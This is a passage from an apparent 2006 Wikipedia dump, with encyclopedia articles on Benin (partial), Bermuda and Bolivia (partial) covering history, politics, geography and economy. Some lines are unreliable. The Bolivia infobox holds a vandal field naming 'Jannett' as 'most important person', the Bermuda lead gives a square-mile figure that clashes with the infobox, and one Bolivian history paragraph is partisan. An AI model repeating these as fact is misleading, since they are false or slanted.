By the [[18th century]], Dahomey started to fall apart, enabling the [[France|French]] to take over the area in [[1892]]. In [[1899]], the land became part of the [[French West Africa]] colony, still as Dahomey. In [[1958]], it was granted autonomy as the Republic of Dahomey, and full independence started on [[August 1]], [[1960]].

For the next 12 years, ethnic strife contributed to a period of turbulence. There were several coups and regime changes, with three main figures dominating - [[Sourou Apithy]], [[Hubert Maga]], and [[Justin Ahomadegbé]] - each of them representing a different area of the country. These three agreed to form a presidential council after violence had marred the [[1970]] elections. In [[1972]], a military coup led by [[Mathieu Kérékou]] overthrew the council. He established a [[marxism|Marxist]] government under the control of [[Military Council of the Revolution]] (CNR), and the country was renamed to the People's Republic of Benin in [[1975]]. In [[1979]], the CNR was dissolved and elections took place. By the late [[1980s]], Kérékou abandoned Marxism after an economic crisis and decided to re-establish a parliamentary [[capitalist]] system. He was defeated in [[1991]] elections, becoming the first black African president to step down after an election. He returned to power after winning the [[1996]] vote. In [[2001]], a closely fought election resulted in Kérékou winning another term. His opponents claimed there were some election irregularities.

== Politics ==
{{Politics of Benin}}
The parliament of Benin is formed by the 83-seat National Assembly (''Assemblée Nationale''), for which elections are held every four years. Head of the government and head of state is the president, who is chosen in separate presidential elections held every five years. The president appoints a council of ministers. According to the constitution of [[1990]], a president may serve a maximum of 2 five-year terms. There is also a 70-year age limit for presidential candidates.
{{main|Politics of Benin}}

== Departments ==
''Main article: [[Departments of Benin]]''

Benin is divided into twelve [[department]]s:

*[[Alibori Department|Alibori]]
*[[Atakora Department|Atakora]]
*[[Atlantique Department|Atlantique]]
*[[Borgou Department|Borgou]]
*[[Collines Department|Collines]]
*[[Donga Department|Donga]]
*[[Kouffo Department|Kouffo]]
*[[Littoral Department|Littoral]]
*[[Mono Department|Mono]]
*[[Ouémé Department|Ouémé]]
*[[Plateau Department|Plateau]]
*[[Zou Department|Zou]]

== Geography ==
[[Image:Benin map.png|200px|thumb|Map of Benin|right| ]]
:''Main article: [[Geography of Benin]]''
Stretched between the [[Niger River]] in the north and the [[Bight of Benin]] in the south, Benin's elevation is about the same for the entire country. Most of the population lives in the southern coastal plains, where Benin's largest cities are also located, including [[Porto Novo]] and [[Cotonou]]. The north of the country consists mostly of [[savanna]] and semi-arid highlands.

The climate in Benin is hot and humid with relatively little rain, although there are two rainy seasons (April-July and September-November).

== Economy ==
''Main article: [[Economy of Benin]]''

The economy of Benin remains underdeveloped and dependent on subsistence agriculture, [[cotton]] production, and regional trade. Growth in real output has averaged a stable 5% in the past six years, but rapid population rise has offset much of this increase. [[Inflation]] has subsided over the past several years. In order to raise growth still further, Benin plans to attract more foreign investment, place more emphasis on [[tourism]], facilitate the development of new food processing systems and agricultural products, and encourage new information and communication technology. The 2001 privatization policy should continue in telecommunications, water, electricity, and agriculture in spite of initial government reluctance. The [[Paris Club]] and bilateral creditors have eased the external debt situation, while pressing for speeded-up structural reforms.

== Demographics ==
[[Image:Benin 20050824 6.jpg|thumb|picture from Benin]]
[[Image:Benin 20050824 7.jpg|thumb|picture from Benin]]
[[Image:Benin 20050824 8.jpg|thumb|group in Benin]]
[[Image:Benin 20050824 5.jpg|thumb|children in Benin]]
''Main article: [[Demographics of Benin]]''

There are about 40 different ethnic groups living in Benin, the largest being the [[Fon people|Fon]] who account for about 49% of Benin's population. Other ethnic groups include the [[Adja]], [[Yoruba]], Somba and [[Bariba]]. Most of these ethnic groups have their own languages, although [[French language|French]] is the official language, which is spoken mostly in the cities. Of the indigenous languages, the [[Fon language|Fon]] and [[Yoruba language]]s are most common.

Indigenous religions are predominant, although significant parts of the population are [[christianity|Christian]] (chiefly [[Catholic Church in Benin|Roman Catholic]]) and [[Islam|Muslim]]. Local practices and traditions are often combined with those of Christianity and Islam.

== Culture ==
''Main article: [[Culture of Benin]]''

It is believed that [[Vodun]] (or &quot;Voodoo&quot;, as it is commonly known) originated in Benin and was introduced to [[Brazil]], the [[Caribbean Islands]], and parts of North America by [[slavery|slave]]s taken from this particular area of the [[Slave Coast]]. The indigenous religion of Benin is practiced by about 60% of the population. Since 1992 Vodun has been recognized as one of Benin's official religions, and a National Vodun Holiday is celebrated on January 10.

''See also'': [[List of Beninese writers]]

== Miscellaneous topics ==
[[Image:Phonecard-thermomagnetic-ptt-benin-presse.jpg|thumb|A phone card from Benin]]

*[[Communications in Benin]]
*[[Foreign relations of Benin]]
*[[List of cities in Benin]]
*[[Military of Benin]]
*[[Reporters Without Borders]] Worldwide Press Freedom Index 2004: 27 out of 167 countries
*[[Transportation in Benin]]

==External links==
{{sisterlinks|Benin}}

===Government===
*[http://www.gouv.bj/ Benin Government Portal] official site
*[http://www.beninembassyus.org/ The Republic of Benin Embassy to the United States of America] government information and links

===News===
*[http://allafrica.com/benin/ allAfrica - Benin] news headline links
*[http://www.laraignee.org/ L'Araignee] (in French)
*[http://www.africatime.com/Benin/index.asp/ Allafrica news - Benin]
*[http://www.benininfo.com/ benininfo ] (news in french)
*[http://www.sonagnon.net/ sonagnon.net] (news in french)
*[http://www.quotidienlematinal.com/ quotidien le martinal] 
*[http://www.lc2international.tv/ LC2 international TV] (Live TV )
===Overviews===
*[http://news.bbc.co.uk/1/hi/world/africa/country_profiles/1064527.stm BBC News] - Country Study: ''Benin''
*[http://www.cia.gov/cia/publications/factbook/geos/bn.html CIA World Factbook - ''Benin'']
*[http://www.mbendi.co.za/land/af/be/p0005.htm MBendi - Information for Africa]
*[http://www.state.gov/p/af/ci/bn/ US State Department - ''Benin''] includes Background Notes, Country Study and major reports

===Directories===
*[http://www.columbia.edu/cu/lweb/indiv/africa/cuvl/Benin.html Columbia University Libraries - ''Benin''] directory category of the WWW-VL
*[http://dmoz.org/Regional/Africa/Benin/ Open Directory Project - ''Benin''] directory category
*[http://www-sul.stanford.edu/depts/ssrg/africa/benin.html Stanford University - Africa South of the Sahara: ''Benin''] directory category
*[http://dir.yahoo.com/Regional/Countries/Benin/ Yahoo! - ''Benin''] directory category
=== IT ===
*[http://www.lyzdigital.com/ IT consulting und certification] (in French)

===Tourism===
*{{wikitravel}}

{{Africa}}


[[Category:African Union member states]]
[[Category:Benin| ]]

[[af:Benin]]
[[ar:بنن]]
[[an:Benín]]
[[bg:Бенин]]
[[zh-min-nan:Bénin]]
[[bn:বেনিন]]
[[bs:Benin]]
[[ca:Benín]]
[[cs:Benin]]
[[da:Benin]]
[[de:Benin]]
[[et:Benin]]
[[es:Benín]]
[[eo:Benino]]
[[eu:Benin]]
[[fa:بنین]]
[[fr:Bénin]]
[[gd:Benin]]
[[gl:República de Benín - République du Bénin]]
[[ko:베냉]]
[[ht:Benen]]
[[hr:Benin]]
[[io:Benin]]
[[id:Benin]]
[[is:Benín]]
[[it:Benin]]
[[he:בנין]]
[[la:Beninum]]
[[lv:Benina]]
[[lt:Beninas]]
[[li:Benin]]
[[hu:Benin]]
[[mk:Бенин]]
[[ms:Benin]]
[[na:Benin]]
[[nl:Benin]]
[[nds:Benin]]
[[ja:ベナン]]
[[no:Benin]]
[[nn:Benin]]
[[pl:Benin]]
[[pt:Benim]]
[[ro:Benin]]
[[ru:Бенин]]
[[scn:Benin]]
[[simple:Benin]]
[[sk:Benin]]
[[sl:Benin]]
[[sr:Бенин]]
[[fi:Benin]]
[[sv:Benin]]
[[tl:Benin]]
[[tr:Benin]]
[[uk:Бенін]]
[[zh:贝宁]]</text>
    </revision>
  </page>
  <page>
    <title>Bermuda</title>
    <id>3460</id>
    <revision>
      <id>42108706</id>
      <timestamp>2006-03-03T21:58:01Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{otheruses}}
{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;margin:0 0 1em 1em; float:right; width:290px;&quot;
|+ &lt;big&gt;'''Bermuda'''&lt;/big&gt;
|-
|style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=&quot;2&quot;|
{| border=0 cellpadding=2 cellspacing=0
|-
|align=&quot;center&quot; width=&quot;140px&quot;|[[image:Bermuda_flag_large.png|125px|Flag of Bermuda]]
|align=&quot;center&quot; width=&quot;140px&quot;|[[Image:Bermuda coa large.jpg|100px]]
|-
|align=&quot;center&quot; width=&quot;140px&quot;|([[Flag of Bermuda|In Detail]])
|align=&quot;center&quot; width=&quot;140px&quot;|([[Coat of Arms of Bermuda|Full size]])
|}
|-
|align=&quot;center&quot; colspan=2 style=&quot;border-bottom:3px solid gray;&quot;|&lt;font size=&quot;-1&quot;&gt;''National [[motto]]: Quo Fata Ferunt&lt;br/&gt;([[Latin]]: Whither the Fates carry [us])''&lt;/font&gt;
|-
|align=&quot;center&quot; colspan=2 style=&quot;border-bottom:3px solid gray;&quot;|[[Image:LocationBermuda.png]]
|-
|[[Official language]]||[[English language|English]]
|-
|[[Political status]]    
|| [[Overseas territory]] of the [[United Kingdom|UK]] 
|-
|[[Capital]]                       
|[[Hamilton, Bermuda|Hamilton]]
|-
|[[Governor of Bermuda|Governor]]
|Sir [[John Vereker (governor)|John Vereker]]
|-
|[[Premier of Bermuda|Premier]]   
| [[Alex Scott]] 
|-
|[[Area]]
|[[1 E7 m²|58.8 km²]] (22.7&amp;nbsp;[[square mile|sq.&amp;nbsp;mi]])
|-
|[[Population]]
&lt;br/&gt;-Total(2003 [[Estimation|E]])
&lt;br/&gt;&amp;nbsp;- [[Population density|Density]]
|&lt;br/&gt;64,482&lt;br/&gt;1 096/km² (2,839/sq.&amp;nbsp;mi)
|-
|[[Currency]]                      
|[[Bermuda dollar]] on par with [[US dollar]]
|-
|[[Time zone]]                     
|[[Coordinated Universal Time|UTC]] -4 
|-
|[[National anthem]]               
|[[God Save the Queen]]
|-
|[[Top-level domain|Internet TLD]] 
|[[.bm]]
|-
|[[List of country calling codes|Calling Code]]
|[[Area code 441|1-441]]
|}

'''Bermuda''' is an [[British overseas territory|overseas territory]] of the [[United Kingdom]] in the [[North Atlantic Ocean]], situated around 600 [[mile]]s (975&amp;nbsp;km) off the coast of the [[United States]]. It consists of around 138 [[island]]s, of total area 58.8 square kilometres (27.7&amp;nbsp;sq.&amp;nbsp;mi). The largest island is where the capital, [[Hamilton, Bermuda|Hamilton]] is located. An [[offshore]] [[tax haven]], Bermuda has a thriving economy, with a large [[finance|financial]] sector. It was once a popular tourist destination as well. 

==History==
{{main|History of Bermuda}}

Bermuda was discovered by the early [[1500s]], probably in [[1505]], although the evidence for the exact year, and the identity of the discoverer, is sketchy. It was certainly known by [[1511]], when [[Peter Martyr]] published his ''[[Legatio Babylonica]]'', which mentioned Bermuda. The discovery is attributed to a Spanish explorer, [[Juan de Bermudez]]. Both Spanish and Portuguese ships used the islands as a replenishment spot for fresh meat and water, but legends of spirits, now thought to have stemmed only from the callings of raucous birds, kept them from attempting any permanent settlement.

The island became permanently inhabited when the ''[[Sea Venture]]'', on its way to the new colony in America, was wrecked off Bermuda in 1609 (as depicted on the territory's [[Coat of Arms of Bermuda|Coat of Arms]]), and left the first colonists in possession of a new territory. (William Shakespeare's play ''[[The Tempest]]'' may have been influenced by [[William Strachey]]'s account of this shipwreck.) The land was claimed by the British Crown and control was granted to a company in order to produce tobacco for the markets in London. The islands gained the name the Somers Isles, named after Sir [[George Somers]], the captain of the ''Sea Venture''. 

Soon the colony of Virginia far surpassed Bermuda in both quality and quantity of tobacco produced. After the decline of the Somers Isle Company, life petered along until a period of boat building became prevalent on the island due to the large amounts of good [[juniper]] (''Juniperus bermudiana'', Bermuda cedar) woods that grew thickly over the whole island. The [[Bermuda sloop]] became highly regarded for its speed and manoverability.  Indeed, at the end of the [[Battle of Trafalgar]], the Bermuda sloop [[HMS Pickle (1800)|HMS Pickle]], one of the fastest vessels in the Royal Navy, raced back to England with news of the victory and the death of Admiral Lord Nelson.

After the [[American Revolution]], the British Royal Navy began improving the harbours and built a [[Royal Naval Dockyard, Bermuda|large dockyard]] on [[Ireland Island, Bermuda|Ireland Island]], in the west of the chain. Thereafter the navy used the bases as a strategic asset which later benefited the USA as well (see below).

In the early [[20th century]], as modern transport and communication systems developed, Bermuda became a popular destination for wealthy US, Canadian and British tourists. In addition, the [[tariff]] [[Smoot-Hawley Tariff Act]] enacted by the [[United States]] against its trading partners in 1930 cut off Bermuda's once-thriving agricultural export trade - primarily fresh vegetables to the US - spurring the overseas territory to develop its tourist industry, which is second behind international business in terms of economic importance to the island.

Bermuda had been a strategically important military base since the [[war of 1812]], but it became particularly important during [[World War II]], because of its central location in the north Atlantic Ocean. In 1941, the United States signed a lend-lease agreement with the United Kingdom giving the British surplus US Navy destroyers in exchange for 99-year lease rights to establish naval and air bases in Bermuda. The bases consisted of 5.8km&amp;nbsp;² (2.25&amp;nbsp;mi²) of land largely reclaimed from the sea. The US Naval Air Station ([[Kindley Air Force Base]]) was on [[St. David's Island, Bermuda|St. David's Island]], while the US Naval Air Station Annex was at the western end of the main island in the [[Great Sound, Bermuda|Great Sound]].

Both bases were closed on [[1 September]] [[1995]], as were British and Canadian bases on the island. Unresolved issues concerning the 1995 withdrawal of US forces - primarily related to environmental factors - delayed the formal return of the base lands to the Government of Bermuda, which finally happened in 2002.

==Politics==
{{main|Politics of Bermuda}}

Executive authority in Bermuda is invested in [[Elizabeth II of the United Kingdom|The Queen]] and is exercised on her behalf by the [[Governor of Bermuda|Governor]]. The Governor is appointed by the Queen on the advice of the [[British Government]]. Defence and Foreign Affairs remain the responsibility of the United Kingdom.

The Constitution of Bermuda came into force on [[June 1]], [[1968]], amended in [[1989]] and [[2003]]. The Head of Government is the [[Premier of Bermuda|Premier]]. A cabinet is nominated by the Premier and appointed officially by the Governor. The legislative branch consists of a [[bicameral parliament]]. The Senate is the Upper House and consists of 11 members appointed by the Governor on the advice of the Premier and the Leader of the Opposition. The House of Assembly is Lower House and the 36 members are elected  to serve a 5 year term.

The current Governor [[John Vereker|Sir John Vereker]], appointed on [[April 11]], [[2002]]. The Premier is currently [[Alex Scott]] following the election victory of the [[Progressive Labour Party (Bermuda)|Progressive Labour Party]] in the July 2003 elections. The [[United Bermuda Party]] serves in Opposition.

The leadership of the [[Progressive Labour Party (Bermuda)|Progressive Labour Party]] supports independence from the United Kingdom, although polls indicate that this is not supported by the population. A referendum in [[1995]] on independence, held by the [[United Bermuda Party|UBP]], was defeated.

==Geography==
{{main|Geography of Bermuda}}
[[Image:Bermuda-map.png|thumb|250px|Map of Bermuda]]
Bermuda is located roughly 580 miles (933 kilometers) off the coast of [[North Carolina]], U.S.A., in the North Atlantic Ocean. (See [http://en.wikipedia.org/wiki/Image:NAmerica_w_bermuda.png map].) There are two [[Corporation|incorporated]] [[Municipal government|municipalities]] in Bermuda; the City of [[Hamilton, Bermuda|Hamilton]], and the Town of [[St. George, Bermuda|St George]]. There are also a number of localities which are sometimes termed [[village]]s, among them [[Flatts Village, Bermuda|Flatts Village]], [[Tucker's Town, Bermuda|Tucker's Town]] and [[Somerset, Bermuda|Somerset]].  Contrary to common misperception, Bermuda is not located within the tropics.  The subtropical climate is obviously influenced by trade winds as any island geography would entail.  Winter evenings can get decidedly cool, however summer days are rarely very hot.  

*[[Subdivisions of Bermuda]]
*[[Islands of Bermuda]]
*[[Flora and fauna in Bermuda]]

==Economy==
{{main|Economy of Bermuda}}

Bermuda, as an [[offshore]] [[tax haven]], has a highly developed economy focused on international business and tourism. Its per capita income is approximately equivalent to the [[United States]]. CIA data shows a [[Gross Domestic Product|GDP]] of $2.33 billion in [[2003]], per capita, $36,000. 

Bermuda is regarded as a premier offshore business jurisdiction, with no direct taxes on personal or corporate income.  The local tax system is based upon payroll and consumption taxes.  Many leading international [[insurance]] companies are based in Bermuda. Bermuda is a [[Financial export| financial exporter]] both in insurance and other financial services.

Tourism is the second largest industry, with the island attracting most of its visitors from the [[United States]], [[Canada]] and the [[United Kingdom]].

The currency used is the [[Bermuda dollar]] which is pegged to the [[US dollar]].

==Demographics==
More than half of the population is black and less than a third is white.  A significant segment of the population is of Portuguese heritage, having emigrated from the [[Azores]] over the past century.
{{main|Demographics of Bermuda}}

==Miscellaneous topics==
Bermuda is one of the three vertices bordering the [[Bermuda Triangle]], an allegedly paranormal region of the [[Atlantic Ocean]].

*[[Places of interest in Bermuda]]
*[[Communications in Bermuda]]
*[[Transportation in Bermuda]]
*[[Military of Bermuda]]

==Holidays==
{{main|Holidays in Bermuda}}
&lt;center&gt;
{| border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; width=&quot;90%&quot; style=&quot;border-collapse:collapse; border:1px solid #aaa; text-align:left&quot;
|-
! style=&quot;background:#efefef;&quot; width=&quot;15%&quot; | Date
! style=&quot;background:#efefef;&quot; width=&quot;20%&quot; | Holiday
! style=&quot;background:#efefef;&quot; | Remarks
|-
| [[24 May]]
| Bermuda Day
|
|-
|}
&lt;/center&gt;

==Famous residents==

This list includes residents both current and past, and also seasonal.

*[[Clarence Hill (boxer)|Clarence Hill]] (Boxing - Olympic Bronze Medal Winner)
*[[Clarence &quot;Nicky&quot; Saunders]] (High Jump - Commonwealth Games Gold Medal Winner)
*[[Johnny Barnes]]
*[[Clyde Best]]
*[[Heather Nova]]
*[[Gina Swainson]] (former [[Miss World]] 1979-1980) 
*[[Shaun Goater]] (Former Manchester City striker)
*[[Mark Twain]]
*[[John Lennon]] [http://www.theroyalgazette.com/apps/pbcs.dll/article?AID=/20051206/NEWS/112060146] [http://www.theroyalgazette.com/apps/pbcs.dll/article?AID=/20051207/LIFESTYLE/112070095]
*[[Georgia O'Keefe]]
*[[Ross Perot]] 
*[[Silvio Berlusconi]] Italian Prime Minister
*[[Michael Bloomberg]] Mayor of New York City 
*[[Michael Douglas]] and [[Catherine Zeta-Jones]]
*[[David Bowie]] and [[Iman Abdulmajid|Iman]]
*[[Twiggy]]
*[[Patrick Rafter]]
*[[David Lee]]
*[[William Stephenson|Sir William Stephenson]] (Famous WWll Canadian Spymaster &quot;Intrepid&quot;)
*[[Ian Fleming]] creator of James Bond
*[[Frederick Buechner]] (as a child)
*[[Noël Coward]] - playwright and actor/singer.
*[[Kenneth Amis]] - notable tuba player, born in Bermuda

As a sidenote, most famous people live on [[Tucker's Peninsula, Bermuda|Tucker's Peninsula]], part of Tucker's Town, an exclusive residential neighbourhood. Michael Bloomberg, Silvio Berlusconi, and Ross Perot are among homeowners there.

==References==
*{{note|UN_decolonisation}} {{cite web
 | url = http://www.un.org/Depts/dpi/decolonization/trust3.htm
 | title = Non-Self-Governing Territories listed by General Assembly in 2002
 | work = United Nations Special Committee of 24 on Decolonization
 | accessyear = 2005 | accessdate = March 10
 }}
* {{cite book
 | title = The New American Desk Encyclopedia
 | edition = edition 3
 | year = 1993
 | chapter = Bermuda
 | id = ISBN 0-451-17566-2
 }}

==External links==
*{{wikitravel}}
*[http://www.gov.bm Bermuda Government] The official Bermuda Government website
* {{cite web
 | url = http://www.fco.gov.uk/servlet/Front?pagename=OpenMarket/Xcelerate/ShowPage&amp;c=Page&amp;cid=1007029394365&amp;a=KCountryProfile&amp;aid=1032111344299
 | publisher = Foreign and Commonwealth Office
 | title = Bermuda
 }}

{{North America}}
{{Caricom}}
{{British dependencies}}

[[Category:Bermuda]]
[[Category:Current British colonies]]
[[Category:North Atlantic Islands]]
[[Category:Special territories of the European Union]]

[[ca:Bermudes]]
[[cs:Bermudy]]
[[da:Bermuda]]
[[de:Bermuda]]
[[eo:Bermudo]]
[[es:Bermudas]]
[[et:Bermuda]]
[[fi:Bermuda]]
[[fr:Bermudes]]
[[gl:Bermuda]]
[[he:ברמודה]]
[[hu:Bermuda]]
[[id:Bermuda]]
[[is:Bermúda]]
[[it:Bermuda]]
[[ja:バミューダ諸島]]
[[ko:버뮤다]]
[[lt:Bermuda]]
[[lv:Bermudu salas]]
[[nl:Bermuda]]
[[no:Bermuda]]
[[pl:Bermudy]]
[[pt:Bermudas]]
[[ro:Insulele Bermude]]
[[ru:Бермуды]]
[[sk:Bermudy]]
[[sl:Bermuda]]
[[sv:Bermuda]]
[[tr:Bermuda]]
[[uk:Бермудські острови]]
[[zh:百慕大]]
[[zh-min-nan:Bermuda]]</text>
    </revision>
  </page>
  <page>
    <title>Bolivia</title>
    <id>3462</id>
    <revision>
      <id>42105613</id>
      <timestamp>2006-03-03T21:36:58Z</timestamp>
      <contributor>
        <ip>147.9.203.193</ip>
      </contributor>
      <comment>/* Sánchez de Lozada and Banzer: Liberalizing the economy (1993) */</comment>
      <text xml:space="preserve">{{Infobox Country |
native_name = República de Bolivia |
common_name = Bolivia |
image_flag = Flag of Bolivia.svg |
image_coat = BoliviaArms.gif |
image_map = LocationBolivia.png |
national_motto = ''Morir antes que esclavos vivir''&lt;br&gt;[[English language|English]]: ''To die before living as slaves'' 
|national_anthem = ''[[Bolivianos, el hado propicio]]'' |
official_languages = [[Spanish language|Spanish]], [[Quechua language|Quechua]], [[Aymara language|Aymara]] |
capital = [[La Paz]], [[Sucre]]&lt;sup&gt;1&lt;/sup&gt; |
latd=17|latm=00|latNS=S|longd=65|longm=00|longEW=W|
government_type = [[Unitary republic]] |
leader_titles = [[President of Bolivia|President]] |
leader_names = [[Evo Morales]] |
largest_city = [[Santa Cruz de la Sierra|Santa Cruz]] |
most important person = [[Jannett]] |
area = 1,098,581 |
areami² = 421,075 | &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
area_rank = 27th |
area_magnitude = 1 E12 |
percent_water = 1.29% |
population_estimate = 8,857,870 |
population_estimate_year = July 2005 |
population_estimate_rank = 86th |
population_census = 8.274.325 |
population_census_year = 2001 |
population_density = 8 |
population_densitymi² = 21 | &lt;!-- Do not remove per [[WP:MOSNUM]] --&gt;
population_density_rank = 177th |
GDP_PPP_year = 2006 |
GDP_PPP = $25,892 million |
GDP_PPP_rank = 103rd |
GDP_PPP_per_capita = $3,049 |
GDP_PPP_per_capita_rank = 126th |
HDI_year = 2003 |
HDI = 0.687 |
HDI_rank = 113th |
HDI_category = &lt;font color=&quot;#FFCC00&quot;&gt;medium&lt;/font&gt; |
sovereignty_type = [[History of Bolivia|Independence]] |
established_events = &amp;nbsp;&amp;bull; Date |
established_dates = From [[Spain]]&lt;br&gt;[[August 6]], [[1825]] |
currency = [[Boliviano]] |
currency_code = BOB |
time_zone = &amp;mdash; |
utc_offset = -4 |
time_zone_DST = &amp;mdash; |
utc_offset_DST = ? |
cctld = [[.bo]] |
calling_code = 591 |
footnotes = &lt;sup&gt;1&lt;/sup&gt; La Paz is the seat of government; Sucre, the legal capital
}}The '''Republic of Bolivia''' ([[Spanish language|Spanish]]: ''República de Bolivia'', [[International Phonetic Alphabet|IPA]] {{IPA|[re'puβlika ðe bo'liβi̯a]}}) is a [[landlocked]] [[country]] in central [[South America]]. It is bordered by [[Brazil]] on the north and east, [[Paraguay]] and [[Argentina]] on the south, and [[Chile]] and [[Peru]] on the west.
== History ==
''Main article: [[History of Bolivia]]''

===Pre-colonial period===
The [[Andes Mountains|Andean region]] probably has been inhabited for some 5,000 years. Beginning about the 2nd century [[Anno Domini|B.C.]], the [[Tiwanaku]] culture developed at the southern end of [[Lake Titicaca]]. This culture, centered around and named for the great city of Tiwanaku, developed advanced [[architecture|architectural]] and [[agriculture|agricultural]] techniques before it disappeared around [[Anno Domini|A.D.]] [[1200]], probably because of extended [[drought]] (some legends of the Aymará, who claim descendance from the inhabitants of Tiwanaku, indicate that Lake Titikaka rose and flooded the city, causing dispersal of the survivors). Roughly contemporaneous with the Tiwanakan culture, the [[Moxos]] in the eastern lowlands and the [[Mollos]] north of present-day [[La Paz]] also developed advanced agricultural societies that had dissipated by the 13th century A.D. In about [[1450]], the [[Quechua language|Quechua]]-speaking [[Incas]] entered the area of modern highland Bolivia and added it to their empire. They controlled the area until the [[Spain|Spanish]] conquest in [[1535]].

===Colonial period===
During most of the Spanish colonial period, this territory was called &quot;Upper Peru&quot; or &quot;Charcas&quot; and was under the authority of the Viceroy of [[Lima]]. Local government came from the Audiencia de Charcas located in Chuquisaca (La Plata &amp;mdash; modern Sucre). Bolivian [[silver]] mines produced much of the Spanish empire's wealth, and Potosí, site of the famed Cerro Rico &amp;mdash; &quot;Rich Hill&quot; &amp;mdash; was, for many years, the largest city in the Western Hemisphere. A steady stream of enslaved Indians served as labor force. As Spanish royal authority weakened during the [[Napoleonic Wars|Napoleonic wars]], sentiment against colonial rule grew.

===The Republic and economic instability (1809)===
Independence was proclaimed in [[1809]], but 16 years of struggle followed before the establishment of the republic, named for [[Simón Bolívar]], on [[August 6]], [[1825]] (see [[Bolivian War of Independence]]).

During the presidency of Mariscal Andres de Santa Cruz Bolivia enjoyed the most glorious period of her history with great social and economic advancement. Different wars against almost all it's neighbors were fought during this period with sound victories against its enemies but maybe the turning point took place on the fields of Paucarpata where the [[Confederacion Peru-Boliviana]] lead by the glorious [[Mariscal Santa Cruz]] defeated the Chilean and Peruvian rebel armies, on the same field a peace treaty know as the Paucarpata Treaty was signed with the unconditional surrender of the Chilean and Peruvian rebel army, allowing them to go back to Chile with all their arms and equipment intact; later this treaty was discarded by the Chilean parliament. The rebel Peruvians and the Chilean army set of to a new war against Santa Cruz, defeating the Confederation on the fields of Yungay. Using the same arms and equipment Santa Cruz allowed them to carry back home and the later defeat, is at this moment that the Bolivian history will change for ever, after this moment for nearly 60 years, coups and short-lived constitutions dominated Bolivian politics.

Going through a vicious economic and political crisis, Bolivia's weakness was demonstrated during the [[War of the Pacific]] ([[1879]]&amp;ndash;[[1883|83]]), when it lost its seacoast, and the adjoining rich [[nitrate]] fields, together with the port of [[Antofagasta]], to [[Chile]]. Since independence, Bolivia has lost over half of its territory to neighboring countries due to wars. See [[Treaty of Petrópolis]] in 1903 [[Chaco War]] ([[1932]]&amp;ndash;[[1935|35]]). 

An increase in the world price of [[silver]] brought Bolivia a measure of relative prosperity and political stability in the late [[1800s]]. During the early part of the 20th century, [[tin]] replaced silver as the country's most important source of wealth. A succession of governments controlled by the economic and social elite followed [[laissez-faire]] [[Capitalism|capitalist]] policies through the first third of the century.

Living conditions of the indigenous people, who constituted most of the population, remained deplorable. Forced to work under primitive conditions in the mines and in nearly feudal status on large estates, they were denied access to education, economic opportunity, or political participation. Bolivia's defeat by [[Paraguay]] in the [[Chaco War]] ([[1932]]&amp;ndash;[[1935|35]]) marked a turning point.

===Rise of the Nationalist Revolutionary Movement (1951)===
The Nationalist Revolutionary Movement (MNR) emerged as a broadly based party. Denied its victory in the [[1951]] presidential elections, the MNR led the successful 1952 revolution. Under President [[Víctor Paz Estenssoro]], the MNR introduced universal adult suffrage, carried out a sweeping land reform, promoted rural education, and nationalized the country's largest tin mines.

Twelve years of tumultuous rule left the MNR divided. In [[1964]], a military [[junta]] overthrew President Paz Estenssoro at the outset of his third term. The [[1969]] death of President [[René Barrientos Ortuño]], a former member of the junta elected President in [[1966]], led to a succession of weak governments. Alarmed by public disorder, the military, the MNR, and others installed Col. (later General) [[Hugo Banzer Suárez]] as President in [[1971]]. Banzer ruled with MNR support from [[1971]] to [[1974]]. Then, impatient with schisms in the coalition, he replaced civilians with members of the armed forces and suspended political activities. The economy grew impressively during most of Banzer's presidency, but [[human rights]] violations and eventual fiscal crises undercut his support. He was forced to call elections in [[1978]], and Bolivia again entered a period of political turmoil.

=== Military governments: García Meza and Siles Zuazo (1978)===
Elections in 1978, [[1979]], and [[1980]] were inconclusive and marked by fraud. There were coups, counter-coups, and caretaker governments. In 1980, Gen. [[Luis García Meza Tejada]] carried out a ruthless and violent coup that did not have popular support.  He pacified the people by promising to remain in power only for one year. (At the end of the year, he staged a televised rally to claim popular support and announced, &quot;Bueno, me quedo,&quot; or, &quot;All right; I'll stay [in office].&quot; He was deposed shortly thereafter.) His government was notorious for human rights abuses, [[narcotics]] trafficking, and economic mismanagement; during his presidency the inflation that would later cripple the Bolivian economy could already be felt. Later convicted in absentia for crimes including murder, García Meza was extradited from Brazil and began serving a 30-year [[Prison|sentence]] in [[1995]].

After a military rebellion forced out García Meza in [[1981]], three other military governments in 14 months struggled with Bolivia's growing problems. Unrest forced the military to convoke the [[Congress of Bolivia|Congress]] elected in 1980 and allow it to choose a new chief executive. In October [[1982]], twenty-two years after the end of his first term of office (1956-60), [[Hernán Siles Zuazo]] again became President. Severe social tension, exacerbated by economic mismanagement and weak leadership, forced him to call early elections and relinquish power a year before the end of his constitutional term.

===Sánchez de Lozada and Banzer: Liberalizing the economy (1993)===
Sánchez de Lozada pursued an aggressive economic and social reform agenda. The most dramatic change undertaken by the Sánchez de Lozada government was the &quot;capitalization&quot; program, under which investors, typically foreign, acquired 50% ownership and management control of public enterprises, such as the state [[Petroleum|oil]] corporation, [[telecommunications]] system, [[airline]]s, [[railroad]]s, and electric utilities in return for agreed upon capital investments. The reforms and economic restructuring were strongly opposed by certain segments of society, which instigated frequent and sometimes violent protests, particularly in La Paz and the Chapare coca-growing region, from [[1994]] through [[1996]]. The Sánchez de Lozada government pursued a policy of offering monetary compensation for voluntary eradication of illegal coca by its growers in the Chapare region. The policy produced little net reduction in coca, and in the mid-1990s Bolivia accounted for about one-third of the world's coca going into [[cocaine]].

During this time, the umbrella labor organization of Bolivia, the Central Obrara Boliviana (COB), became increasingly unable to effectively challenge government policy.  A teachers' strike in 1995 was defeated because the COB could not marshall the support of many of its members, including construction and factory workers.  The state also used selective martial law to keep the disruptions caused by the teachers to a minimum.  The teachers were led by Trotskyists, and were considered to be the most militant union in the COB.  Their downfall was a major blow to the COB.  The COB also became mired in internal corruption and infighting in 1996. 

